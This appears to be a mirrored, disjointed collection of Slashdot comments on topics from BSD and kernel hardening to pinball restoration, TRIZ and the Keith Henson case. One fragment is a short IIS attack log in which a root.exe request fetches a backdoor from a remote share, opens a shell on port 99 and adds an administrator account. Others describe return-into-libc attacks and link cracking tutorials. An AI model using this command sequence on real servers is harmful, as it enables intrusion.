Slashdot Mirror

In the original story, I asked a question about Brain Drain which brought up some of the underling causes that must be addressed in order to reach solutions, as opposed to donations. I imagine your insight will also be ignored.

Yes, literacy is a tool. But since language, reading and the written word have been influential throughout history, and the vast proliferation of literacy and knowledge (gutenberg, anyone?) was in part responsible for the development of civilization as we know it ... then literacy is probably more of a good thing than a bad thing.

This is your first point, and from there you make conclusions in your post based upon this assumption. But your assumption is false, which explains why your conclusions are also false. I will explain: (as this isn't a personal attack on you)

• Literacy is not a prime mover of civilization, Freedom is.
• When you try to add literacy and education into a developing countries, where there is no Freedom, then you don't get progress, you get a Brain Drain.
• A Brain Drain only further hinders progress, as the best minds are driven away, instead of solving their own countries problems.

As I said in my original post, tools are force multipliers. So if you have Freedom, then tools will enhance that Freedom, but if you have tyranny, then those very same tools will enhance that tyranny.

A White Russian with cola?

Oh, you mean a Vodka paralyzer?

It's not like this was a new drink invented yesterday!

The posters above have answered pretty comprehensively, but if you're looking for something to swing it check out some of these pictures of users. Note the happy smiling faces.

A major film star BSD user.
Some Haitians
Users all over the place.
Look at this cheerful *BSD user.

I've found this an invaluable reference book in all my dealings with *BSD.

Hope this helps.

grsecurity is a promising mechanism to un-root a linux kernel based system: ipaddr, user or group based roles open or deny access to privileged operations without ever having uid=0 to begin with. It's a bit complicated to use but the system can auto-learn and generate these policies. Also, the system includes PaX which does some neat things like scramble the stack to thwart buffer overflows, non executable pages, etc... I've played with both (well, Mandrake secure kernels have grsec compiled in, not shure about pax) and although I still can't figure out (read: "ready made & nicely packaged ;-)") all of it but it does give the warm & fuzzy feeling it makes a difference...

Answer: My understanding is PaX would have preventented the integer overflow that comprimised kernel memory: the kernel would have paniced, never returning from the call. propolice prevents buffer overflows with stack guarding techniques introduced at compile time. Add grsecurity or selinux then you have a hardened system.

This may not catch 100% of the exploits but it's a solid start in the right direction.

Several open source projects are gaining steam: propolice for stack protection inserted by the compiler PaX for address space randomization, page executable protection, etc . It doesn't matter how sloppy the userspace code is - if the stack is comprimised, the process is killed before it can do damage. It won't catch every possible comprimise but it's a great start. Check out the Hardened Gentoo Project for a working implementation.

One link: tempest/hpm Two link: another Three link: link the third

This has been noted before.

First, I don't think this article is irrelevant, unlike a lot of the people that posted replies so far (uh, what's this... I'm a (-1, troll) already? dammit...). Some guy's musings about his lack of a job are probably not front-page material, and posting it to Slashdot seems like shameless self-promotion, but the sad truth is that there are more and more people out there who are either unemployed or, almost if not equally as bad, underemployed (McJob, anyone?). People who went to school at the height of the late-90s high-tech boom (like me) are entering the workforce to find it flooded by people who worked through that boom, are more experienced, at least equally skilled, and are also looking for jobs. Even seemingly trivial jobs have substantial requirements of experience and obscure skills because employers know they can easily get overqualified people. At the same time, older people find themselves being edged out by the young'uns, who are willing to work longer and compromise more for less money.

This leads to depression, sarcasm and cynicism, all of which seem come across in that writeup; most of the things he lists there are not really benefits of being unemployed but benefits of having lots of free time, which is a byproduct of unemployment but not the only way to get it. Philosophical insights and beard growth aside, you can get this stuff and still work. The trick is to have a good job, and by that I mean one that affords you lost of free time and enough money to get by. Working for the gov't is good, at least in Canada - pay's ok, hours are fixed, and the boss isn't particuarly evil. Getting into a union, though those are increasingly rare, is even better. My father always complains how lazy those union guys are - I envy their laziness, and weep every time unions lose out to big corporations.

Personally, I've been without a job since April and haven't had much success finding for one. All I'm really going on right now is sarcasm and cynicism - the money's all gone (I guess, then, I'm also going on the good nature of my parents). I'm even starting to become cynical about my own cynicism. I go nutty periodically and produce "great" works of prose (beware of popups, and I promise that my resume is nowhere to be found), but how long can I go on? The end is not in sight...

The (IMHO) main reason why *BSD didn't catch as much as Linux did is caused by inflexibility. The ``we are against the GPL'' licencing issue is just one of the symptoms of this.

However, it is nice to see that OpenBSD is finally implementing ASLR (Address Space Layout Randomisation), which has been available for Linux for quite some time now (in the form of PaX).

Technology just isn't up to the point that they can track that stuff you've mentioned yet. Not as easy as they can P2P. Search for song, browse hosts, log IP for future lawsuit. Hell they could be running bots to do their hunting now. Once encryption gets implemented and the darknet is truly anonymous, they are going to be SOL. Catch em while you can.

The RIAA seem to forget the basic economics "LAW OF DEMAND". As price goes up demand goes down. Their lost sales figures are very imaginative, on par with SCO lawsuit demands.

They are not losing billions or trillions in sales because not everyone would buy the crap they produce at the prices they demand. But toss it in with my existing bandwidth costs and cost of my hard drive space and the song costs me about 3 cents plus download time. I don't even count my time because I work while it downloads. At that price why not download Madonna, NSync and the other crap. Sometimes you need a good laugh.

Now we can get Apple to pull their old ads, knowing that Linux is Ghandi's official OS.

I get a 404. Use this link instead.

Megaman? I mean it's one thing to make bad box art for a bad game (read: rival turf), but Megaman was a classic.. and the cover art, well .. check it out:
ack!

I think the sharp decline in music compositions is more commonly refered to as "The Death of Hair Bands."

you might want to have a look at AntiCrack which is a huge collection of tutorials cracking , reverse engineering, and programming. They also have a copy of the Old Fravia'Site, the new one being about searching).

There's a few games/challenges out there about reverse engineering, cracking, logic and programming. Give them a try if you wish (Arcanum is really nice):
AngularVision, Apotheosis, Arcanum, Aspect, Aspect2, C&CDisIncorporated, CyberArmy, Disavowed, Electrica, Escape, HackME, HackersGames, HackersLab, HackQuest, Hybrid, ICEFortress, Lamebulun, Mod-X, NetSplit, NGSEC'sSecurityGame, ProblemSetArchive, ReverserCourse, SlyFX, TheGame, and Try2hack.

have fun ;-)

you might want to have a look at AntiCrack which is a huge collection of tutorials cracking , reverse engineering, and programming. They also have a copy of the Old Fravia'Site, the new one being about searching).

There's a few games/challenges out there about reverse engineering, cracking, logic and programming. Give them a try if you wish (Arcanum is really nice):
AngularVision, Apotheosis, Arcanum, Aspect, Aspect2, C&CDisIncorporated, CyberArmy, Disavowed, Electrica, Escape, HackME, HackersGames, HackersLab, HackQuest, Hybrid, ICEFortress, Lamebulun, Mod-X, NetSplit, NGSEC'sSecurityGame, ProblemSetArchive, ReverserCourse, SlyFX, TheGame, and Try2hack.

have fun ;-)

Hahaha no. PNG is nowhere near the best lossless image format. Have you ever heard of BMF? PNG is routinely 40% larger than BMF. You can read an informed, scientific comparison of many formats at The Art of Lossless Image Compression (warning: there's an annoying pop-up. Oh well)

It should also be pointed out that while most buffer overflow exploits do indeed simultaneously overwrite the return address and inject the shellcode onto the stack, a certain class of buffer overflow exploits called return-into-libc attacks do not require executable stacks and are not too difficult to construct. These attacks overwrite the return address with the starting address for one of the libc exec*() functions. At the same time, the parameters for executing /bin/sh are pushed onto the stack. The execution of the corresponding return instruction then causes the exec*() function to execute /bin/sh. See this paper for a more detailed analysis of some buffer overflow solutions.

I think that it's interesting that in the past few weeks, several solutions for buffer overflows have been announced (e.g., the OpenBSD announcements). Each of these solutions are good solutions, but they heavily borrow from earlier solutions. Unfortunately, the previous work has often not been properly acknowledged. Since the masses are generally not aware of the current state of the art, these supposedly new solutions are given more credit than due. Still, I suppose it's a good thing if general awareness of the buffer overflow problem is raised, even if the pioneers of the technology do not receive their due credit.

Tim Tsai

Yes, grsecurity includes equilevant protection to this. It uses PAX kernel patch for this. It has existed for years, and Ingo really should have mentioned that in his announcement, assuming he even knew about it?

Difference is that PAX uses some weird x86 kludges to do this and it causes slight speed difference (max. 10% IIRC), but I think that's a very small penalty for very good protection against buffer overflows. It also reduces the maximum memory available to process by .. was it 1-2GB, but there's not many processes that really need that much. And Ingo's patch seems to limit at least number of executable pages even more so.

It CAN support ACL's, with one several patches: grsecurity
which includes PaX.

Check it out!

This is a pic that looks like this tank that fell on the Nacogdoches County airport. Forgive the bad quality. It was taken from a home video that was shown on the local news here. I live just a few miles from it. Scary.

The tank.

My Dad experienced this first hand when he was in the airforce. He saw something on radar (he was working in radar at the time) that was moving too fast. Later he surmised that it was a Blackbird (although it was long enough ago it could have been an Archangel or other classified high speed military plane). None of this was explained to him at the time and it was literally a UFO (Unidentified Flying Object). The Blackbird wasn't declassified until many years later. That was when he put two and two together.

that sounds like a very reasonably point. Do the rules and regulations of the courtroom explicitly state this? What reasoning is offered in the existing body or law or in defense of the practice as it stands. As legal contracts and rights-licensing issues become more invasive in today's society, should 'bad law' (or contract or any other legal document) be written so badly as to be indecipherable to a group of 12 mature adults? I'm not suggesting that we make every contract a dick-and-jane story for the lowest-common denominator, but can't we get contracts written in plain english. Is there a precident for this or somewhere in the juror's rules of conduct. Does someone explicitly say that the legal system can filter what amount of 'relevant' information gets passed through to the jury.
Laws are the rules of our society. And they need to be understood. Not just by the people that write them, but by the people who are agree to be governed by them.
I for one like to know what the government around me can do. I like to know how the leaders and programs I support are affecting my world.
I don't fear bad cops, I fear bad law. ...just a thought

(no disrespect to the good folks of defendbrooklyn.com. I lived there for a while and still love that place, but yeah it's a tough town some blue nights. fulton sq.=missing ya. this is a real bad cop )

Mirror 1: No movies

Mirror 2

Mirror 3

The Sierra chick came in and was showing me some stuff they were working on - a little rendered (Actual Game Screens!) movie about a game called Outpost. It was supposed to be the end-all of simulation/strategy/resource management games. It looked really cool, and the Sierra chick told me about all the things you were going to be able to do in it.

A couple of years passed, and Outpost finally came out. PC Gamer reamed it a new one, and so did this guy. All the features I heard and looked forward to were gone. In their place, a sterile, unfun, buggy pile.

Outpost 2 came out to much better reviews, and there was talk of Outpost 3, but as all the links to it are dead, I believe that this may go in the 'Unfinished Adventures' catagory.

The lecture. "The missile knows where it is, because it knows where it isn't"

If he's anything like this Q, he'd just stop time, arrest the criminals, put them on trial for the crimes of humanity, and be done with it.

Logic error (as others have pointed out). Allow me to demonstrate:

and when the abductors are caught and you look in their homes, you inevitably find air. So air is a precursor to this bad behavior....

• " ...the guys at Apple, like Bill Atkinson [one of the Lisa programmers who later developed the MacPaint program for the Apple Macintosh computer] -- I think Atkinson is the greatest--and Bill Budge [who programmed Pinball Construction Set for Electronic Arts]. These guys are all great.
  
  We don't have much to talk about. We feel good vibes and exchange three or four words. I know that if one of these guys opens his mouth, he knows what he is talking about. So when he does open his mouth and he does know what he is talking about, it's not a great shock. And since I tend to know what I am talking about, too, I would probably say the same thing, so why bother talking, really? It's like the joke tellers' convention where people sit around and they don't even have to tell a joke. They just say the joke number and everybody laughs. It would be great to be able to work with all these guys, but we are business competitors. I think we could do incredible stuff together. Maybe the Martians will invade and we will have to do a Manhattan project in computers. We would all be shipped to New Mexico. Who knows?"

• ".. A patent was rarely given, so most inventors applied for an author's certificate. The Soviet government owned the intellectual property that the author's certificate documented, so the certificate was merely an acknowledgement of the inventor's contribution. Ironically, it is the simple, direct format of the author certificate that facilitated Altschuller's research into the inventive process ... During the formulation of TRIZ, Altshuller and colleagues reviewed tens of thousands of author's certificates and patents.
  
  In 1946, Altshuller decided that he must create a new science for the theory of invention ... author certificates ... included a cover sheet, a one-page sketch and a short invention description. This simple format made it easy to identify underlying patterns of the inventive process ... Altshuller identified patterns frequently used in the more innovative patents.
  
  ... These patterns identified in the development of a design contain two major components: regularities in design evolution, and principles used in innovative solutions. Altshuller's observations led to an additional breakthrough; since the evolution of engineering design was a process governed by definable laws, it could be taught ... a revolution in the field of inventive problem solving had begun.
  
  ... Altshuller and his boyhood friend, Raphael Shapiro ... in a 1948 letter to Stalin ... criticized the inventive process used throughout the nation and offered some measures to improve the methodology. Their proposed improvements were an embroyonic form of TRIZ. Unfortunately, their patriotism and valuable ideas were not rewarded. Altshuller and Shapiro were charged with "inventing with the purpose to do harm to the country." After a year of interrogation and torture, they were sentenced to 25 years in a prison camp above the Arctic Circle.
  
  What would have been a hellish existence for most people became a time of significant intellectual growth and productivity for Altshuller. The prison camp contained dozens of professors, eminent scientists, musicians, and artists, all of whom were jailed during Stalin's great Purges. As a result, Altschuller's education continued. Because fellow prisoners were happy to have someone who was eager to learn and listen for hours, the prison camp became Altshuller's private university. The worst punishment for Altshuller was the prohibition on writing. A prisoner could be beaten cruelly and placed in a cell if he were found in possession of a notebook. Despite this considerable obstacle, Altshuller continued to develop the science of innovation.
  
  Stalin died in 1953, and Altshuller and Shapiro were released one year later ... publishing their first article on principles of their theory in a 1956 issue of a scientific magazine ... Under the pseudonymn Altov, Altshuller wrote science fiction stories to earn his living. But here again he found an application for TRIZ in the creation of many of the ideas for his futuristic devices and creatures.
  
  ... During the 1970s, translations of Altshuller's books and articles circulated in Germany and Poland, eventually reaching Japan, the U.S.A. and other Western countries ... Only two of Altshuller's books have been translated into English ... key findings are explained in these books, which reflect his study of over 200,000 patents, focusing on 40,000 identified as containined the most innovative design solutions.
  
  Traditional problem solving builds on past experiences ... What if we have never encountered a problem analagous to the one we face? This obvious question reveals the shortcomings of our standard approach to inventive problems. A table of conflicts (Contradiction Table, Appendix D) between 39 design parameters (Table 1) answers this question of how we can face an unfamiliar conflict by offering 1201 generic problems that were solved using at least one of 40 generic principles (Appendix C and Table 2).

• elementary school using TRIZ
• weapons technology, Kowalick
• Cringely on Kowalick updating TRIZ for GM and NASA
• more refs

)Is anything like this happening already?

Actually, here's a page that has (or had at one time) several links to AI contests a-la "bots". "Robocode" is probably the most well known. For Microsofties (not many around here, I know) they have a peer-to-peer persistent world of organism-bots called "Terrarium". I prefer "Robocode" because it's easy to get a bot up and running, quick to see the results of a contest, and potentially deep if you start getting into cached events and stuff like that. Alas, I digress offtopic.

The interview was really good, but really thick. In my opinion, someone who puts that much thought and analysis into games seems to take some of the fun out actually playing the game. As for my behvaior during games, if a game is fun, I typically play it lots. If something isn't fun, I leave it alone. And that's I'll I care to analyze about my game-playing behavior. *grin*

-AAAWalrus

The group is Cirque du Soleil. More photos can be found here and here.

http://tpga.virtualave.net/game-links.htm

If you're a Microsoft type, MS is running a .NET "artificial life" sort of thing here:

http://www.gotdotnet.com/terrarium/

And in the interest of full disclosure, I come out with:
Str: 11
Int: 15
Wis: 15
Dex: 9
Con: 11
Chr: 15

A nice waste of a few minutes. Obviously flawed, though - assigning a 15 INT simply for a Masters Degree indicates you've never actually dealt with people in graduate school (*GRIN*).

My wife and I recently decided that it would be cool to get a pinball machine. Mr Pinball's site was a great resource, and helped me decide to get a old electromechanical (EM) machine instead of a newer, solid-state (SS) one. If an EM breaks, it's likely that a physical component is at fault (switch, spring, solenoid, etc). If an SS breaks, I think there's less that I can do about it.

I checked around ebay and a few other places, and figured that a decent, playable EM would cost about $1000 (in California). I ended up finding Space Odyssey for $250. It's barely playable, and in poor cosmetic condition. It'll be my evening/weekend project for a few months. The repairs should cost much less than the $750 that I saved.

The first thing that I did was order schematics, a manual, rubber rings, and new flippers from The Pinball Resource. I've since ordered a bunch of other stuff from him. And rec.games.pinball is great. Every time I've had a problem, I get responses within hours. They've helped me out at least two or three times this week alone (flipper rebuild, broken "drained ball detect" switch, unexpected slam tilt/short-circuit). Currently, I've got the machine disassembled for cleaning and waxing.

In short, I would never have purchased my pinball machine unless I found the kind of resources that I did online. Rebuilding a '67 camaro or a monster truck may be a macho thing to do, but restoring this pinball machine seems like the equivalent geek activity.

I can recommend Steve Young's The Pinball Resource very much.

They bought a bunch of spare inventory when Gottlieb went out of business, although you can get parts, manuals, and kits for all other kinds of brands too.

I was surprised and relieved they had in stock a miniature cue stick for the Cue Ball Wizard pinball my wife got me for Christmas last year. I didn't figure I would be able to find a specialized part like that easily. Cheap, too.

Anyway, highly recommended. Good prices, quick turnaround and easy to deal with.

TILT!

Ladies of the Road (KK):
Get your FREE desktop E-Book in JAVA

yes...there is one problem with passport. it sucks. I also boycott microsoft...well kindof, it my line of work(IT) it is really hard. but I maintain the boycott in my webpage design...if you also do...stick this img on your page...all the cool kids are doing it...
MS BoyCott or a handy button

Wasn't that the plotline for Dune? He who controls the Spice, controls the Universe.

A good example of Hydraulic Despotism

Nintendo Site: http://www.nintendo.com/systems/gcn/gcn_overview.j sp

Disassembled GameCube: http://www.lik-sang.com/catalog/master.php?navbar= Disassembled+Gamecube&inc=gcopen.inc

Info on GameCube Console from GameCube Central: http://tomoeslab.virtualave.net/consoleinfo.html

Well the last one was escaped* on the 10th!

http://server/scripts/root.exe?+/c+\\1.2.3.4\\mysh are\ncx99.exe

C:\>telnet localhost 99

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

c:\inetpub\scripts>

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

c:\inetpub\scripts>net user crfix crfix /ADD
System error 5 has occurred.

Access is denied.


c:\inetpub\scripts>
c:\inetpub\scripts>

C:\>net user asdf asdf /ADD
The command completed successfully.

C:\>net localgroup Administrators asdf /ADD
The command completed successfully.

Consider further that the oldest known human structures are about 5000 years old (in central America, IIRC.)

No, the world's oldest structure is off the coast of Japan.

No, it's a on Malta

I mean Egypt.

Actually, it's north of Tokyo.

Or, is it a wine jar?

Freehenson website BACK UP after a savage slashdotting

FREE HENSON

I can't speak for Keith's situation or his personal feelings or financial situation, but, in general, he's done pretty much exactly what the Scientologists wanted him to do: Go away and shut up.

He hasn't shut up, and in the day of the Internet, he hasn't even gone "away" since there is no "away."

In fact, this one action has created more publicity for his case than the months of relatively quiet and local human rights activism which prompted the original charges.

While I can't say what I think of the likelihood of success in this action, and in fact it could end him up in an even worse situation than where he started, going away and shutting up are two things that Keith Henson are not about. He is not about sitting still and having a gag shoved in his mouth, or getting beaten up or killed in a prison with a strong presence of Scientologists in the form of recruitees into the front group Scientology operates in prisons, Criminon.

For months before this verdict, the Scientologists were boasting about how they had total control of the situation and how they were getting Keith "just where they wanted him."

Canada is not where they want him.

Whether or not it's worth the ultimate fallout that it will cause, Henson has managed to turn his local and limited publicity activism, and his prosecution by an obscure and corrupt District Attorney's office (Riverside DA Grover Trask is disreputable) into an international incident and involve more government bodies.

What has happened here will now receive at least some of the scrutiny it deserves. Henson has not fled in a cowardly fashion, otherwise he would not be so noisy about it. How many fugitives post their address and phone number to the Internet and invite press and government scrutiny of their actions? That's not the action of a guilty man fleeing.

What has happened here stinks on ice, and can not withstand broad scrutiny. Even if Henson later gets transported back to the United States and ends up being sentenced, the court which ends up with the case will be under tremendous scrutiny to handle the proceedings fairly, and further kangaroo court tactics will not be tolerated or ignored.

What has happened here was only allowed because it was a backwater court in a corrupt district, with a corrupt District Attorney, who was allowed to get away with murder. Let's see if Deputy District Attorney Robert K. Schwarz is so willing to be visibly the pawn of Scientology with the world watching.

What has happened here was only able to occur because the obscure Deputy District Attorney Robert K. Schwarz was backed up by Scientology lawyers Elliott Abelson and Samuel D. Rosen, who openly coached the DA's every action, standing behind him in court and whispering into his ear, and apparently pumping hundreds of thousands of dollars worth into free legal aid to the DA's office. What the hell kind of situation is it where a criminally convicted organization like Scientology can essentially act as its own private District Attorney's office and use a state actor like a DA's office as a proxy to make its own law?

What has happened here needs this continued publicity lest it continue to happen.

Henson has brought that scrutiny to bear, but it will be allowed to pass without action.

Free Keith Henson!

if you have 160GB of wav files, why dont you use one of the multitude of lossless compression algorithems out there? If you prefer cross platform, open source, FLAC is what you want. If your windows only, programs like Monkeys Audio and RKAU provide slightly more compressed results. These all seem to vary from the .5 to .75 compression area, turning that 160G into more like 110G.

This site doesn't have any banners.... or did you mean a good site? Oooooops.

It's pretty funny, though.

Holography also have other uses; they enable radiologists to interact with the data that have been collected by scanners and they may facilitate the production of "what if' images which some surgeons have found useful in surgical planning. Programs have concentrated on the parts of the body and the kinds of conditions (i.e., tumors, trauma, and vascular abnormalities) that are commonly examined with CT and MR scanners.

Studies were designed to determine if the digital holography systems would allow diagnosis of conditions that are extremely difficult or impossible to detect with existing technology; provide for more accurate and comprehensive diagnosis and understanding of conditions that are difficult characterize fully with existing technology; increase the radiologist's confidence in the diagnosis made; reduce the time required to arrive at a diagnosis; facilitate communication of relevant information; improve surgical planning; and allow for more fully informed patient consent to treatment.

Sure its a cheesy website but it has some pretty useful information on the subject.

privacy 101

Check out The Overworld.

Of course, "real" computers need versions of Minesweeper and Tetris. And all modern gaming systems have first person 3D games.

If you're armed with an emulator you can download ROMs of various games, classic and new.